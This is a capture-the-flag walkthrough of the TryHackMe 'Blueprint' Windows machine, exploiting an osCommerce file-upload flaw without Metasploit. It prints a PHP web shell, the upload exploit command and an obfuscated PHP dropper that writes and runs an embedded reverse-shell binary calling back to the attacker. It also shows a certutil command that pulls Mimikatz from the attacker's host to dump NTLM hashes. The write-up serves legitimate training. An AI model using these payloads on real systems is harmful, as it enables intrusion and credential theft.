BluePrint Walkthrough[❌Metasploit ❌]

Solving A Windows Machine On TryHackMe without Metasploit.

Mayank Pandey
InfoSec Write-ups

--

Blueprint Machine

Description

BluePrint is an easy-level Windows Machine on TryhackMe. The machine is a Windows 7 machine that hosts a web server on port 8080. That web server is running an outdated version of OsCommerce. This outdated Version has an arbitrary file upload vulnerability that has been used to upload a web shell. Finally, this web shell has been used to gain a stable Shell on the box with System privileges and Mimikatz has been used to find the Uses Hashes.

Enumeration

First of all, let's start an NMAP scan

sudo nmap -sC -sV -O 10.10.242.9 -oN nmap/inital -vvStarting Nmap 7.80 ( https://nmap.org ) at 2021-07-16 18:08 IST
Nmap scan report for 10.10.43.103
Host is up (0.25s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 404 - File or directory not found.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h
PHP/5.6.28)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http Apache httpd 2.4.23 (OpenSSL/1.0.2h
PHP/5.6.28)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC

Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -19m54s, deviation: 34m37s, median: 4s
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC: 02:42:5a:d3:59:a3 (unknown)
| smb-os-discovery:
| OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: BLUEPRINT
| NetBIOS computer name: BLUEPRINT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-07-16T13:40:18+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-16T12:40:20
|_ start_date: 2021-07-16T12:34:54
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.52 seconds

The NMAP Scan shows that there are several ports open.

  • On Port 80 we don't find anything interesting
  • In The Scan we can See that on port 8080 we have the title Index of, it can be interesting so let's see that

Indeed we have File Listing enabled here. So we go further and see that if there is a publically Available exploit for this Version of OSCommerce

We can Use SearchSploit (A command-line tool for Searching on ExploitDB) to find available exploits.

We have two exploits available Arbitartay File Upload and Remote Code Execution. We will use File Upload Vulnerability to continue further.

Exploitation

To Upload a file On the Server we need to make an account using the dashboard provided.

Click On Start and Follow accordingly to make a User

During installation, I have used the username “root” and a blank password for the database. Furthermore, an admin user has been created with the username and password “admin”

Remember the Username and Password to Use in the next steps

Now that we have a User in the Application let's Upload a simple PHP web shell.

You can use a One-Liner PHP Shell and Save it as Shell.php

<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>

We use shell_exec() instead of the system() because the system() command is blocked by the server

python /usr/share/exploitdb/expoits/php/webapps/43191.py -u http://YOUR_MACHINE_IP/oscommerce-2.3.4 --auth=admin:admin_password -f Shell.php

Your shell will now be uploaded to the server and you can access it to run commands.

dir command to list the directory.

We find the system info this will help us in a further attack. Here the System is an x86 Windows Machine

Getting A Stable Shell

Currently, we have an Initial Foothold on the System, We will leverage this to have a Full-fledged Shell this will help us to run more system Commands.

We will make a PHP file that will give us a Reverse shell back on our system. For this, we will use the following Script

<?php

header('Content-type: text/plain');
$ip = "YOUR_IP"; //change this
$port = "1234"; //change this
$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4V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Qzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);

?>

Now upload this file as we uploaded the Previous one.

Start your Listener on the Specified Port and Then fetch the Reverse Shell file From the Browser. Now you'll have a Fully Functional Reverse Shell.

Finding the Flags

Now comes the main part of finding the Flags. Our Questions are

  • “Lab” user NTML hash decrypted
  • root.txt

First, let's start by Finding the NTLM Hashes of The LAB User. For this, we will use Mimikatz it's a leading post-exploitation tool that dumps passwords from memory and hashes, PINs, and Kerberos tickets.

Ths Big Question Here is that How to get Mimikatz on the server as we don't have services like Netcat and Curl To Download Files?.

So for this, we will use Certutil.exe this is a command-line program, installed as part of Certificate Services. We can use this to Fetch File From Other Servers

We will first get the x86 Version of Mimikatz in our Current Directory and then start a simple python HTTP server. And then Setup certutil.exe on the target machine to fetch Our Hosted File. Launch Certutil using the following command.

$cp /usr/share/mimikatz/Win32/mimikatz.exe .

certutil.exe -urlcache -f http://YOUR_IP:8000/mimikatz.exe mimi.exe

HTTP Interaction From The Target Machine

Now We can Run Mimikatz to Dump The NTLM Hashes Of All the Users on the Machine

Go to a Website like Crackstation to Crack The hashes.

Finally, we need to get the root.txt flag. This is normally on the Administrator’s Desktop. Changing the directory there shows us the flag file. Use the more command to reveal the contents, and submit it to the dashboard.

cd C:\Users\Administrator\Desktop

more root.txt.txt

Congratulations on completing the room!💥

Blueprint was a great opportunity to take what would normally be easy Metasploit exploitation, and use a lesser-traveled manual exploit instead to finish. Mimikatz is an incredibly powerful tool that can be leveraged in many ways, and I encourage you to learn about it more on your own. I hope this walkthrough guide has helped you along your way, and I’ll see you next time!

--

--